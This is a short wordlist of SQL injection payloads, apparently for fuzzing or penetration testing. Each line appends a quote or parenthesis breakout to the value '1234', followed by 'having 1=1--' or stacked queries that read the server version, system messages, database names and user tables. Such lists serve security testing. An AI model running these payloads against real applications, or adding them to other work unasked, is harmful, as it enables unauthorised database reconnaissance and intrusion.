1234' having 1=1--
1234'; select @@version,1,1,1--
1234'; select * from master..sysmessages--
1234'; select * from dbo.sysdatabases--
12341 having 1=1--
1234\' having 1=1--
1234'; select * from sys.dba_users--
1234) having 1=1--
1234